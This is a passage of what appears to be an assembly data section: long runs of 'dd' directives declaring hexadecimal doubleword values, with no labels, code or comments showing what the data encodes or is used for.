0D5FE7275h, 0D9DF2862h, 16736FFEh dd 0C06C848Fh, 0ABDD6279h, 94EBC650h, 0EAF1BE7Ah, 0EA668427h dd 0F9211682h, 0A133C04Bh, 0AB8A0450h, 0A65A8CACh, 0B841AD9Fh dd 1C478FC8h, 8032CB33h, 659EE905h, 0FB0ADBFEh, 136C99E1h dd 76A1330Ch, 49416AF8h, 1805B80Fh, 33A70DA8h, 47EE7190h dd 654FF6BCh, 0C02A8CE9h, 0FB96C07h, 362FFFE3h, 24036478h dd 56B840B8h, 0BB733A57h, 0C44678Ch, 7AB643E8h, 39C3F931h dd 8A70FB10h, 6BB7850Eh, 0FCB90653h, 4061CE0Fh, 0A884A382h dd 0F02289ECh, 0DA56D0Eh, 2D8D7D15h, 6BDF7C1Eh, 0F7221809h dd 15962E84h, 0B936C292h, 139D19FBh, 0E6E205DAh, 316AF9C1h dd 0F1A2D7DCh, 0D5EB63BCh, 9C0D0524h, 0AD0441E9h, 0C7E4793Ch dd 0E6F28FD8h, 0A101D746h dd 736BBAA8h, 772C89ABh, 47739099h, 0B8D5EB2Fh, 115CDB51h dd 0CC84A790h, 0E1D37F74h, 604F69F9h, 0CEEEC3C4h, 9C011D9Ch dd 0D9D16126h, 2127A5DCh, 2D976C6Ch, 642AE48Ch, 856B830Dh dd 2B1E4213h, 629AFE22h, 0D87F472Fh, 0DB8C2887h, 44D30B43h dd 400C6583h, 0CD1F7A37h, 4361652Fh, 3DB12E44h, 0BA450D19h dd 6B22BE8Eh, 247EC99Ch, 0D151FBE1h, 5E34FEC1h, 0E70CFA50h dd 0F73474A7h, 1AF7DD5Bh, 3F459167h, 0A659C92Eh, 0DCA6FA92h dd 0DB2F7F85h, 0DB1B2D78h, 26ED9F8Fh, 4361B4CBh, 0BB487FF3h dd 3DB23902h, 8E3CA1FCh, 6A837D21h, 7C586541h, 43C39EE3h dd 830F3DCh, 2AA92660h, 901EE01Dh, 0A5D74D7Ah, 6865D1C5h dd 0F4488282h, 1F14860h, 901D1BA1h, 4FBA2807h, 58B609FFh dd 1FFDFA9Dh, 0A15809A2h, 0B0559A89h, 86A7FFACh, 48871093h dd 17F04191h, 0D3154D99h, 0E09F77A0h, 0F8298DB9h, 0F213E254h dd 9C130010h, 9616D598h, 9D68BEB2h, 0D60AC59h, 60A8C540h dd 89DD7E38h, 90725CEEh, 0E4AE46ABh, 0FD96327Eh, 0CE79E622h dd 2EE4A326h, 427C1E3Ch, 9BD4B577h, 56EB9D0Fh, 0D00E43CCh dd 0C5CAFA61h, 3422BEE3h, 6D744027h, 0B82CFB6Fh, 0AB5A60D2h dd 0FBA6C60Fh, 0ADACC22Ch, 34EED10Ch, 7CCC7A92h, 2BC0FBF3h dd 7C78F9EEh, 0CE8B16F3h, 99DCAA42h, 6C56055Dh, 8DAC9893h dd 0CF73BEE3h, 0CF59551Dh, 0FE96523Bh, 69018D0Bh, 0A832ED75h dd 4DE1420Ch, 0DA8DC886h, 0C121BCA5h, 0E9CF1F38h, 5E55F04Bh dd 0DCD69ECh, 7D8341E9h, 835B05E7h, 69E724A5h, 30A982AFh dd 75463493h, 40358BB0h, 48146985h, 468D3DE9h, 97DF7C91h dd 0DDD6D73h, 7B61A7A4h, 9FA64E5Ch, 8D2547ACh, 0AED158C2h dd 0DEC5BD58h, 8FDA9C08h, 1D9AFF43h, 986FEF6Ch, 0F51C909Bh dd 0BFE9812Ch, 889FF5D8h, 8729AAB9h, 0C0DA2557h, 0F4A37AB3h dd 7623174Dh, 0CD66D7A6h, 0FE1A7CB1h, 76517C6Fh, 93080C2h dd 6F8A9F6Fh, 19013307h, 15E90A66h, 8981D6F6h, 88E4999Bh dd 57CA9E82h, 7E22B38Fh, 754E70Ch, 5BE654C2h, 0B19AF7A8h dd 0C78E12B2h, 6C6088E2h, 0C4D3911Fh, 8DB0F44Ah, 2B32E3F8h dd 0CD24D225h, 91A22274h, 0D9A0BB12h, 0D32AD47Fh, 1C8AE543h dd 4EB929E4h, 0ADF3B942h, 0F359F645h, 2225DE47h, 23C21966h dd 0C6D97177h, 2429A983h, 0D33A4146h, 0CED8C590h, 0D4F86D97h dd 537DC2BAh, 7F604B8Bh, 385677E4h, 8A4C7446h, 9DB929F9h dd 72C758D6h, 965745F0h, 93462B14h, 7085CB2Ch, 68B93A93h dd 5035A60Ch, 5F9C4592h, 308D7496h, 0B208365h, 0F4C50C5Bh dd 0E4E24F57h, 1A42BF13h, 149EC9D7h, 420641B7h, 0A0050971h dd 246D258Ch, 5836EB46h, 0EC6C10F9h, 7257B5F5h, 0D794D929h dd 381C7FC8h, 5138F1B5h, 98E8C2A9h, 0A550FF8h, 0C796D7A2h dd 6286DA98h, 189F07Ch, 20B0DA00h, 1EE97FB9h, 90F1B8C3h dd 0F03EACA4h, 3AEFA2F3h, 26954ADFh, 213E0939h, 0D76CA496h dd 54DF3155h, 5226661Ch, 8C1E4D3Eh, 0A670780h, 3CFBE3E6h dd 9D8C2B49h, 0AF2DF80Ah, 0B07F62CAh, 0CB0AF3DEh, 4EFADEF1h dd 7D54D1B2h, 0CCB8BAF3h, 0FBD8AA66h, 74A9437Dh, 21A523F5h dd 79C9A664h, 0F78B85F7h, 8135D4A9h, 15F94543h, 16949667h dd 5AF9D571h, 2FB463A7h, 0F9B19D95h, 0D46F0679h, 536FBA2Ah dd 975E4B4Bh, 775F7786h, 46742CA7h, 4203251Dh, 0D11C41E9h dd 0A7E34EA0h, 272268BBh, 16574BBEh, 20AAC67Bh, 0F3BBD41Ch dd 0A65C80FFh, 9DECF660h, 43774399h, 0A44BBBE7h, 4AE8674Dh dd 12E51B61h, 51BE3EB7h, 0AAB1E0ABh, 765C5AD5h, 0E623860h dd 0EB3C4A36h, 0DFFEEC50h, 0FA0D919Dh, 77FD614Ch, 399F5FDDh dd 553DB4B9h, 9DC123A8h, 0F6586610h, 60F723D4h, 0E26936A5h dd 88806ED4h, 9C1CD9D5h, 9276833Fh, 9009AB82h, 1798D384h dd 0C5FF6F83h, 0AB6E0DFEh, 70E7405Fh, 0B87C6CF0h, 0A755C748h dd 8AF30BADh, 0F40877D3h, 0F21659B7h, 0C6E70F76h, 0E34CBF78h dd 155AFA2Fh, 18C977DBh, 245A033Ch, 0D8EBD429h, 6C81AD0Ch dd 3AA27AA1h, 7EA94E31h, 0EDBF5796h, 0FEB2D3ADh, 0E4413C7Bh dd 1B5EA647h, 5323CD47h, 8684C1F1h, 31F1F276h, 52599406h dd 0DD8EF091h, 0C8BD7385h, 0A9279188h, 93568F6Fh, 5BDC3D1Dh dd 32AC32D3h, 8C38945Eh, 0B0426ED8h, 621355A8h, 0AA5A7CF6h dd 873DAE74h, 451A7527h, 0C0B9C96Fh, 2FB57C1Ch, 50295EFFh dd 9420A369h, 0E3219D63h, 0A795C9Bh, 82D8A7F4h, 0DB6D7FC0h dd 94CB9273h, 7ED205F0h, 2A047EACh, 0A41189EEh, 1832E715h dd 5B0700B8h, 0E3ED9254h, 78E4F48Ch, 0E4DAB4D1h, 34A9A732h dd 0F63AD2A8h, 12C3ED1Fh, 5915E3BDh, 74E34158h, 0EE3468D2h dd 3D28AE2Dh, 10056A4Fh, 80C74CA6h, 5D4B4AE3h, 59C6A9E2h dd 1F4E6632h, 175D935h, 0AB61F4EAh, 91AA09B1h, 61151EFCh dd 86852386h, 0A9AC001h, 53D113CFh, 677CBDE7h, 0D8D5326Ch dd 0FCD1607Eh, 0CCDF78A0h, 0C4389497h, 28D8DD9Eh, 0CE1D804Fh dd 3EB589C1h, 29847B7Eh, 0EEB3D342h, 0C936BA5Ah, 2656BF11h dd 52D4B81Ch, 0C527451h, 59B48662h, 3B79DD06h, 0D0AA322h dd 9A715C00h, 0A6FF1976h, 0E95A8A7Ah, 0A379C8DCh, 5898FC8Eh dd 3B0BA080h, 0DF638184h, 60A746B5h, 95CA773h, 4648C3E4h dd 27113345h, 6B627919h, 0E01E7E18h, 1D0B127Ah, 0EF647D15h dd 63AD456Dh, 7CF4B898h, 0FD61C3B8h, 6628B906h, 8DFC9A42h dd 0CE103BDCh, 1C210445h, 619EF9F2h, 150B270Eh, 0AC0BE761h dd 66AB82FBh, 0B604F171h, 0CA0810C3h, 0CA3C625Dh, 34684AFEh dd 0B1A3EA88h, 0A671D941h, 6C351BCBh, 8B0CA95Bh, 88996118h dd 0F34C8F41h, 17C1617Dh, 5F6C3E4h, 0D943FEB7h, 2B897FD6h dd 3669F6B0h, 0AD248F6Fh, 0FF914CFBh, 3A85561Eh, 643840C3h dd 9142E6AAh, 8592296h, 94DB87F1h, 0DB2C4F04h, 0FBE2EC4Eh dd 0D95EB8ACh, 0CCA4F018h, 114025A5h, 4E132853h, 80D6FF7Ch dd 0BBF752FBh, 0C94479A5h, 3165BE57h, 23AEAA1Eh, 15AF34DBh dd 0C40208D4h, 0C12081A4h, 52F32B1h, 0A1AF98Fh, 2E48C091h dd 1E640985h, 0D72DD30Bh, 6CE8B48Bh, 285D8F1Ah, 31038BDDh dd 3081D18Ah, 66A766B1h, 7434D073h, 0D7D4CBF2h, 77583541h dd 0A83801Bh, 1C698E59h, 40C89EFFh, 0EB639D79h, 65AF592Dh dd 7DF3B0B8h, 0FDE04FC8h, 1599B90Ch, 0EB42DE83h, 26B7204h dd 0D4A29D56h, 0DDDF840Fh, 43D656D0h, 0B083EEA4h, 92FA4C31h dd 7351BA1Dh, 0F434FA7Bh, 0D14382FFh, 0C4FBF740h, 4093828Dh dd 0FC5D97BEh, 0C0641B6h, 86386FD2h, 1EECCC54h, 0CAF4F4B8h dd 7C1806EFh, 0B3C8BFA1h, 31D729D2h, 53466543h, 0D512F7DEh dd 0EB41DEE6h, 0DCA36FFBh, 0D2057A36h, 0B2016160h, 0EF9738B5h dd 0DCD6B3AAh, 0F3C340E8h, 0DE1E5F43h, 0BE5B88A4h, 35A4F840h dd 1A849F64h, 92DA2553h, 32AC83C9h, 884ECE25h, 13E0A8C6h dd 1EB13D0Bh, 0FCB0DF2Bh, 27AF7AD2h, 52CB83Eh, 8C8E7645h dd 7CED02B5h, 9C9D1E7Fh, 0C1361405h, 5624EA84h, 0E5976E94h dd 0F5310F0Bh, 459AC64Bh, 5DCFFD11h, 8C99B92Bh, 0E7C0E9DBh dd 0D0FD0D00h, 0FCACC019h, 511B3FA3h, 0A003907Ch, 0ECEF9961h dd 0F2B306E6h, 233C857Ah, 0F46CA3E0h, 0D22BC847h, 0B9B962E9h dd 642D70DFh, 9A2C57FBh, 8C3FACBBh, 0CB3126E6h, 21EA1C86h dd 0F0F98EE9h, 0BD1C0A38h, 0CAAEF358h, 924E1B6Bh, 0E0804C2h dd 2E9E6BFh, 36B7E1FFh dd 0E5087C86h, 7759E609h, 0CD7B1417h, 0B8D5DD67h, 50DBA85Bh dd 9666B167h, 6D2A79F3h, 0D3380D59h, 0D715F07h, 0C3555E2Bh dd 76AE060Eh, 3FF9E3CAh, 0D52CAF74h, 9BB01107h, 8333B6CCh dd 86EFAAA0h, 0E2A7CE4Ah, 9830890Fh, 1D08E67Eh, 0A8941191h dd 3B9FC533h, 0C2A65EF9h, 26341A29h, 0FFF11894h, 63904F62h dd 6F72D1C6h, 22B3DF0Fh, 2F7AA24Eh, 7C3BFA6Ah, 2C69C34Eh dd 0A35DAD06h, 0E6B38C76h, 2BA91126h, 3BDA0C98h, 3F8C7998h dd 43B6FA71h, 0ADD9D38Ch, 0C21603h, 9FFDC66Dh, 0D1A52555h dd 8BF0620Dh, 95B60629h, 900DB309h, 897C6229h, 0F50B3B93h dd 0EB362314h, 0C91AF55Eh, 3B413882h, 0F340A8E0h, 3844155Dh dd 0B9224D24h, 0B8B10C7Fh, 0F670FF0h, 986F28EEh, 0D9A1CA8Eh dd 0B2074AF1h, 3159CD73h, 3B260F25h, 0FA025793h, 19A47A12h dd 6F7F0264h, 0FC59B661h, 0C434AED5h, 0A2682C1Ah, 0E1F4EFA5h dd 107116FAh, 0D34CA4Eh, 0AF5AC1EAh, 3D7EB708h, 0A2297252h dd 0A4FF5482h, 0AAE5A05Ch, 32C30ED7h, 90F3D26h, 7A1FBBBFh dd 84D18CC4h, 7DA398F8h, 83475C04h, 3A9EAA08h, 532604ECh dd 0AE24E796h, 0B3AA8207h, 0CB46F7AFh, 36D72EF0h, 0B79F281Dh dd 571C8979h, 4F191E2Ah, 1281877Dh, 93A8163Ah, 53FDD827h dd 35382597h, 0AFADC2D7h, 38C88C93h, 475DADBAh, 0D2838531h dd 0ED6041E0h, 0CF28BDBEh, 1BE26DABh, 9428713h, 0C29B43AAh dd 1EB86562h, 93219AAh, 20CE3181h, 0E2D71038h, 97E3E7A3h dd 0C896BB61h, 0D411F466h, 0D6090659h, 1E4384Dh, 0D0AF2197h dd 0E3C28D96h, 0BF031917h, 380D071Bh, 32718F33h, 0EE2D9248h dd 662F8834h, 0C53C0703h, 0EBEB21A5h, 0C6737FCFh, 0A82DDC72h dd 0C1797099h, 0E809C7C2h, 21081EEBh, 0CA40941h, 0B3491877h dd 258983DCh, 5DCF4A8h, 0D5934E77h, 0C29359AAh, 16CA6AF6h dd 5976BDBFh, 592ACCBCh, 0BC5ADAAh, 0F92DE2C8h, 222B428Ah dd 25F4564Eh, 0B6FCD2E1h, 4015F6B3h, 47C78A73h, 0DD462BFFh dd 0AB827B92h, 3FCE208h, 17D6A849h, 44F41B67h, 0B2B72C96h dd 7B0F0992h, 1F85C743h, 0BA5C4D94h, 302B6204h, 0BB151D11h dd 80CC1D43h, 0CB016B64h, 1BCB05ADh, 0B5694F90h, 0B369EFD1h dd 6EAEC25Eh, 184B7857h, 379DEDD8h, 5AA3A520h, 0B15071D8h dd 0AD5085B2h, 0CFE69ADh, 90C88110h, 6DA42ABh, 3858E562h dd 7822D82Ah, 2845D1C1h, 0FE130018h, 6542C4F8h, 0EA66CD69h dd 0D1A1F4FCh, 876D0020h, 0E92D79A4h, 907A3707h, 39FE37h dd 0A7B78BAh, 22E716F5h, 0DB1497C0h, 399E95h, 0ECEC8F51h dd 45BC0E58h, 2B2AD086h, 0E69367BEh, 983DD8BAh, 0C94172FDh dd 0E475D8F0h, 0A5161FE2h, 457DBB1Ah, 0B4C703C6h, 0E6D92194h dd 103BF796h, 199351CDh, 7F10581Dh, 7636F278h, 350F39B0h dd 0A9E365A5h, 0F062A455h, 0B05FD55h, 9723133Bh, 514B9B1Ch dd 4B7ABFEDh, 4B827D8Dh, 0AB2F43B1h, 9D18FF89h, 2A6FF493h dd 93ACA988h, 64062074h, 4F0F01BAh, 76A0B2B6h, 0B87653E8h dd 42847F04h, 48B1E827h, 0C459E7DDh, 33EAD908h, 3E20E8C9h dd 0AF047F3Dh, 37959E15h, 0CB754E11h, 8FACB43Dh, 2D44605Ah dd 772FB97Dh, 3CF9A49Bh, 2582E8Fh, 33798ABCh, 9ED1EA71h dd 8AFDDE2Ch, 0CE0A2C1Fh, 7E1D1ABEh, 213A87C2h, 0E1DAC984h dd 6E75221Bh, 0D64CB930h, 0E250C2E6h, 0DDF2C113h, 0B56B3CADh dd 0EF3825Bh, 42C185E4h, 61C94ABEh, 7E686816h, 88798EC1h dd 2809FB39h, 2C322045h, 0BF3F6B98h, 1487B9B1h, 9A87E1A8h dd 0E85F232Dh, 79DAF6CAh, 6CDC497h, 64034D0Dh, 0E0566543h dd 2318F36Eh, 0BD70BB9Dh, 9413F949h, 0D6196754h, 83589986h dd 15FCA222h, 6E6B0FDEh, 0DA3C4496h, 0AAF79DB2h, 15E75A86h dd 1B40CDAAh, 0D27B3996h, 0FB92FBEDh, 0C4F9396h, 0DDFDB947h dd 3E14ACD9h, 0A7F46E73h, 0CDC7CA46h, 0F7BA1B78h, 93A64DCAh dd 7D1B40h, 65CAA31h, 9FD2C24h, 322A8B63h, 64C04A8Bh, 6F5E40A9h dd 43DC7C9Ch, 0CB8C0FEFh, 25905EC4h, 0B5E9A91Ch, 1155D191h dd 2FA08C17h, 5366AA3Ah, 322E715h, 8627F0BFh, 2469E78Ah dd 0F3F3F7A9h, 8835BA0Eh, 9B41F7BEh, 8C80DBE6h, 0E080FACAh dd 425CD0FAh, 11198E8Bh, 58A4F604h, 76F05618h, 0E62F6CD3h dd 613ED590h, 915891D3h, 0B821300Ah, 0C5B8BD5Ch, 0F4A53DEFh dd 25DE78E3h, 4BFCFB57h, 0AEF46DB6h, 920A16E3h, 5D16A731h dd 0FDE8626Eh, 5560DF76h, 1AE38D83h, 5AC0C791h, 0F5DE9EFAh dd 0D2914BFDh, 6DCEA005h, 1595EF51h, 289B5F14h, 0FEA6708h dd 68479771h, 99903F05h, 34ADFDF4h, 19A8FEA1h, 344F1EDAh dd 252D70F5h, 6FC64208h, 2B862214h, 3829E616h, 2B247B9Eh dd 0A7CB2BB2h, 0E53E20FCh, 3BA62A94h, 0B6694A13h, 7A101C02h dd 910C5A13h, 6EBD635Dh, 0EB89C4ADh, 62556680h, 1A6169DDh dd 0BECDDD19h, 0F7A4E833h, 338B78CFh, 4A0FDE27h, 49D1E17Fh dd 98ADDE69h, 86864E41h, 0CD454309h, 0B0889E6Ch, 0D36A6E70h dd 50642833h, 9446E5DDh, 761F758Bh, 36719B77h, 94666AFDh dd 5D6082ADh, 7A3D194Dh, 77F19DB0h, 8717931Dh, 328E806Eh dd 0E1A8911Bh, 0D8639B99h, 6C78E648h, 0F214D085h, 4B501C0Bh dd 1D69B348h, 0BA3BB974h, 973C529Ah, 0F09D881h, 0C1BAE3B8h dd 0C9ABDB06h, 920CBC07h, 53C97626h, 0A05711B0h, 0C3A8A9C0h dd 656E39B5h, 0D2323E56h, 89B336F7h, 7779EAFh, 0ECA8476Fh dd 0F98A30F2h, 971EE281h, 7CD0FA6Bh, 4AA66ECAh, 93A79C21h dd 3AA0F6D7h, 0BFC80EFAh, 86828212h, 7949221Eh, 70C5496Ah dd 0EE6C9EA3h, 0A9A96261h, 0DB14BE5Bh, 0D29B096h, 634EB104h dd 54DDA753h, 7558646Fh, 0B7568B7Eh, 25551E86h, 27B7080Eh dd 5A539499h, 13F8209Ah, 429D4E12h, 63DD7E5Ch, 0D7345A8Ch dd 77793AD0h, 0DCB1161h, 813D7BE5h, 0D34B315h, 0C35E34FEh dd 11F6261Dh, 85C8AB6Ch, 14ADA52Ah, 953E49E9h, 0D8E2AAC8h dd 609DADD5h, 6A64B369h, 15610E18h, 3B7FDD30h, 6621CE72h dd 6C878A8Eh, 4D7BE184h, 48381C7Bh, 72D521C4h, 4051CB86h dd 0B81B4E0Ch, 5DB379ECh, 8E00C163h, 0F8DE1762h, 8C8C4741h dd 7C55649Ch, 808B58A7h, 87D8F060h, 935B7B26h, 0B96B00Eh dd 45A13D87h, 0D04216DDh, 75EB6B9Eh, 61F0636Fh, 0F7106B6Dh dd 596B165Ch, 87F6D801h, 181E29E6h, 1D88ED12h, 73066F69h dd 0E83A1855h, 3FA01EEh, 6BA117Fh, 0F8BB75E1h, 0A1A831B7h dd 0C42A130Ch, 6C09C5CCh, 0CC2CB971h, 0D4ED1348h, 91AA6E58h dd 0A810E64Dh, 8E238748h, 625EE218h, 9F52AD3Bh, 7EFE303Fh dd 7A220F4h, 90044A25h, 79514EF5h, 0D0065729h, 0A3DED8BFh dd 5463DCEFh, 6F6C031Ah, 5F5911F9h, 0ED8D9AAh, 17425879h dd 1E014148h, 86591428h, 721F6D34h, 815BC0F3h, 86DD3515h dd 0F74EC310h, 0BA96ED22h, 0B486FF1Fh, 5824BFB8h, 38882255h dd 0F6157823h, 153CC6E5h, 889E5410h, 0F0EFC4CCh, 0FC353831h dd 1E36DBFh, 0CC1FF78Eh, 565E5B40h, 641073DCh, 71D33B19h dd 0C5103BD0h, 0EF979CBAh, 0F7531A3Bh, 0D97FA862h, 8F4216BDh dd 8EF9752Eh, 0FCCD7203h, 5FB78369h, 2950311Ah, 30C13983h dd 5DCEE950h, 0CC696426h, 6CCEB31Eh, 0A8B0A5B6h, 0BC9C29D6h dd 0C9DEB6ACh, 454BB975h, 1162017Ch, 0B4E3117Dh, 638F0DA0h dd 9B2F0002h, 3952E0A2h, 89CD15F9h, 0D1442790h, 0C624DF17h dd 5A782A41h dd 52DF1FBh, 21EE4AA4h, 827A5C51h, 0E8BAE7B4h, 1E00925Ah dd 7067F951h, 0D0272385h, 67E6F606h, 0EE5F24BFh, 0D337F6D9h dd 7492DEC5h, 2A66D81Ch, 418503CCh, 94581670h, 0F51D11CCh dd 0C3FD960Ah, 0F2500BEBh, 50FD0FA4h, 6B9EC648h, 0F8F86A23h dd 8786731Dh, 9F5AB843h, 1B50B38Dh, 57038A55h, 950A010h dd 0D1B2B2D5h, 5C497DB3h, 140E2300h, 0D61D5C57h, 2AD7BF88h dd 0D598BD84h, 0BD24395Dh, 602B917Ah, 0E2F3419Eh, 0C2C685DEh dd 0E2C2356Ch, 0C89DD786h, 0A3D3277Fh, 5410957Fh, 0B5E7D832h dd 301650D8h, 8995A602h, 655644A1h, 82FCBE9Dh, 8FC944D9h dd 9C21C678h, 406E1835h, 0E3E39D0h, 0B0DE819Fh, 76F72A6h dd 8E57684h, 0B384E63Eh, 53931D83h, 0C7B9B663h, 5AB56EBAh dd 0ECFA802Ah, 0E2914B69h, 64FA0AB1h, 42693FCh, 0BB270049h dd 8D3FE9F0h, 6948C477h, 872BA630h, 1934822h, 0CAB50AA1h dd 1D4AEA17h, 41FD5CD2h, 405E005Bh, 0B4239F59h, 0A6DE827Bh dd 9F32CA32h, 17AFE3D9h, 16693054h, 0CA42FFF2h, 27161D72h dd 16B71E06h, 5532E72Eh, 0A14B1C83h, 8215199Fh, 530487D5h dd 3A9096A2h, 7682B229h, 7B0D4645h, 9B8FB3A9h, 0E706AD0Bh dd 168AFDE8h, 9949B0AEh, 0C7E08F50h, 0E2CDA6FAh, 864578A1h dd 2C4946B4h, 56ECA053h, 6552B58Ah, 6519BF23h, 52675AD8h dd 0DA7DC4AAh, 19F0F40h, 0E3A325CEh, 0BDB97AC0h, 589D030Dh dd 75A9A287h, 5E3F53F0h, 198378B1h, 0AFC8D31h, 32EB6CB5h dd 0B7CB63Ah, 9D50B556h, 0C7B62D64h, 97E5085Dh, 5A955C81h dd 51A43DCBh, 0FC4AC3Fh, 7A70BC7Ah, 79FB96BAh, 5B2653EBh dd 0B16338B6h, 0F437BE5Bh, 0B4A9EE77h, 0A0BF756Ah, 0E2F2DDFDh dd 323ABDB8h, 6C670B6Fh, 246AF13Ah, 46BA1A58h, 0F8B5C86Ch dd 46D7489h, 9B2E58FEh, 7D96423Ch, 1370DAA1h, 3DF707D4h dd 0F0DCA85Eh, 0A73C765Eh, 0BB06884Ch, 10DF8C81h, 0DBDF3341h dd 0ECF3EB4Dh, 8B2D30A5h, 0DB250873h, 0E6F114B1h, 0DB614F01h dd 204F9641h, 3D93E963h, 63C56256h, 0A2F7DFD9h, 261C4E1Bh dd 2CCC2C2Ah, 0A58D4E4Ch, 471E435Ah, 0ED43874Ch, 137B9F02h dd 9934C4B5h, 439D325h, 0DB33AB5Bh, 0C1AA487Ah, 0AACFB224h dd 3514236Eh, 607CA7Bh, 0CCE5FF27h, 25693C2Eh, 86F8FA44h dd 6B4F62F7h, 617A678Fh, 5BC67D00h, 0BFAE4125h, 86995296h dd 79FB1F8Bh, 0D99DF19Dh, 2B40DDE9h, 0B7369E8Bh, 8BFF42E9h dd 8CDCB608h, 327DB320h, 738FDBA8h, 8AFE437Fh, 10A7208Bh dd 40319149h, 29ADC924h, 0F285E4B4h, 0A922AF14h, 4CE0293Fh dd 981DB78Eh, 37913CE9h, 73AC00CAh, 0ECD28C0Eh, 0D3107AC1h dd 8B12FB91h, 6479D0CBh, 7469364h, 0B6CC54E7h, 11399062h dd 31126FECh, 0DA56C5C4h, 0DCF3D341h, 0C68C6B16h, 8F0DE3D5h dd 8DD94D6Bh, 0CE731CA9h, 0D4032C04h, 9CBDB44h, 6ADB61E9h dd 0D3192154h, 2A79800Ah, 83AA0E91h, 0EF9B8D19h, 0F923BC0Dh dd 0D74F1023h, 0EF9CA554h, 8342C1EFh, 0A61CA58h, 4C697D39h dd 26165B49h, 0CF2C30A5h, 1EACCCh, 0B76F4FA6h, 93E8995Ch dd 77D13FE0h, 6FB8A6E2h, 21FA3DE0h, 0E8EDAD2Dh, 0ED05239Bh dd 76F716F4h, 740304BFh, 6D992483h, 164DCDF7h, 35C5826Eh dd 2578BDCEh, 0A3030678h, 3076870Fh, 0A6F22AC5h, 0F7C9AFE7h dd 0D4942DD0h, 0E7C72123h, 4F7B1A87h, 684E3258h, 0A5EA3FA7h dd 864577F4h, 0B3AFABDEh, 0D665C38Eh, 0D0FB9D17h, 36D69DC0h dd 5881DEDBh, 40CA7CB6h, 89366367h, 0ABBC5D03h, 0D761FFC3h dd 30D92739h, 490691B6h, 7321C23h, 8EC98EAAh, 643308E8h dd 720BE902h, 3AEC9943h, 7D3061E4h, 582D7171h, 0FABFEEFh dd 510AB2CBh, 0EEF06911h, 2042F614h, 777D54DEh, 6F256AD0h dd 395696A5h, 0AFBF8D61h, 0CFF737C1h, 608FF686h, 0EFDDAB86h dd 2ABF1C8Dh, 0E6818D7Eh, 0FF892C2Ah, 0A9B49E02h, 0D6C740A1h dd 8E561690h, 701EA64Fh, 0BAC88704h, 40D9DF28h, 0A9C61617h dd 7D1F364Ch, 0E9DB24A3h, 9CE502C3h, 4EE4C425h, 2BE3323Ch dd 0B1F6F532h, 942963CFh, 0DB8E3E2Ah, 9910CBADh, 0A8853882h dd 5B1349ABh, 7599F437h, 2F86EE65h, 0ACCC81E6h, 53C863FCh dd 5CC66110h, 357FD1F3h, 0CA09D676h, 0DF142949h, 0D4719898h dd 0B1A32D1Ch, 0B7CA07BAh, 874AFBC9h, 6CB0E636h, 80F73D35h dd 8FEFDDFh, 2F9E033Bh, 30071530h, 354A99C0h, 50DD4185h dd 0E7AD54A6h, 94A5B300h, 5E205BBEh, 4911AA0Ah, 0C645050Fh dd 8EE767FAh, 6E128B24h, 0B2910C29h, 6B5F8267h, 7A825377h dd 2A09E4F6h, 242D119Dh, 81D14534h, 0E7DB934Dh, 0A5C23BDBh dd 5DFBF44Ah, 359977E0h, 0EC09F7D7h, 0DD30ED5Fh, 7A2A0D59h dd 4CB4D94h, 0CF324B65h, 15B375B6h, 10F3E3ADh, 53C25295h dd 1C83E11Fh, 0DEF8FADCh, 12482842h, 263B2CFCh, 0EC6664ADh dd 9BF33F9Ch, 0EDA8B687h, 0AC8FFC5Ah, 0D962B437h, 0FE1CEE79h dd 0E95919D8h, 6C2A2EE3h, 5E4DD435h, 424C5C39h, 0F1585646h dd 0D8558373h, 58B4C0A0h, 19EC2012h, 9FFE3306h, 1953735Eh dd 429CECB0h, 1EBC78D6h, 4254D87Eh, 22CA4D8Bh, 0ED70E46Ch dd 0AE1E3014h, 84D46CBFh, 0FF7F861Ch, 185168DBh, 72D3D255h dd 3E3D7388h, 9C662684h, 8CC3227Ch, 6E7D472Ah, 80DE4F5Eh dd 1FF6E29Dh, 4E2A108h, 0FBD8304Bh, 0A88D7E10h, 0A1527AB6h dd 0D730157Bh, 49E028A3h, 0B28DAA7Ah, 0D62274EBh, 4C3EF4EBh dd 636599Ah, 82BEACD1h, 0DE271B67h, 0A3E71913h, 0C5AAF031h dd 78B397ADh, 55E97A95h, 64C35A65h, 8BE768Eh, 0FAF4B549h dd 0B8C9FE14h, 23F45C1Dh, 0CD7150BBh, 0FC082D2Ch, 0AE4B4B65h dd 0DFCA3B58h, 0E977F646h, 2A70656Fh, 0DAC1A513h, 0CC46E856h dd 7A8EB2E1h, 8A4533Eh, 449D00Eh, 9690B716h, 0A31746EFh dd 0EA12718Eh, 0A33FDD2Eh, 0DCDEC279h, 79002E29h, 0AB50F8C9h dd 60980663h, 9044918Eh, 85C90B80h, 15152DE6h, 8D3FA4C1h dd 0AD52BDD0h, 6055A860h, 1FD56F79h, 0F54A3FBAh, 132433h dd 0E7B9BABCh, 0A0C37122h, 0FD2F1C02h, 0C4E3E040h, 0E3D721D9h dd 1A9DA25Ah, 53663B06h, 0D670786Bh, 0A77935DCh, 0A73E6397h dd 0CD01D1B7h, 7C9E9531h, 8BD32E38h, 8D2BDDBh, 0DAFC6B3Dh dd 5CE2BBEAh, 8BC03249h, 1AA41D71h, 3EE04Eh, 0FBDA381Eh dd 1B6938FAh, 51A464FBh, 0D4A066D5h, 66C7FE98h, 0E9A395CAh dd 0FA8B0E48h, 10020B65h, 31F7FABBh, 8FA8F273h, 54EB38B4h dd 0A2253530h, 54AF8A07h, 0ADC21B36h, 5194EF9Ah, 0C68C7923h dd 3A7F5A99h, 2CFC6AABh, 32E31A59h, 2E667854h, 0DFD23BE8h dd 0EF90B913h, 0E32E250Bh, 7691192Eh, 0A4191DBAh, 26D608DDh dd 5CB423CFh, 53B1B3A7h, 1BFE65E9h, 3AFF1994h, 3F1A92BEh dd 0A89C2BC9h, 0B1610BC1h, 0B6578F75h, 1619AD3Ch, 0A6EECA28h dd 0EBD84109h, 0CAC5C7DDh, 6ABCE3A9h, 0C53F58A1h, 58B4E1A4h dd 5DEFAA7Dh, 0F4E97B0Ah, 0D73EA027h, 0D49C16BEh, 9434D911h dd 0B6C343FFh, 2D7AC58Bh, 5DCF6B30h, 3D668B0Fh, 0ACA72C46h dd 523FAE54h, 867F198h, 5D363870h, 0B7D4FB43h, 0FBF3AAA1h dd 7356A695h, 8238FE2Bh, 26867C43h, 5F758364h, 0F3ABD4F5h dd 95B52A98h, 2C6804CCh, 9C6B68B6h, 12D0F936h, 4FA5E02Fh dd 0A40BDFB0h, 3224C654h, 0CF92E8Ah, 0ECF21CFFh, 7AAF86BDh dd 67B7E37Bh, 0FA05E926h, 8B1EF4E4h, 0FFAB6EE8h, 7AB0717Dh dd 0F72AB5E3h, 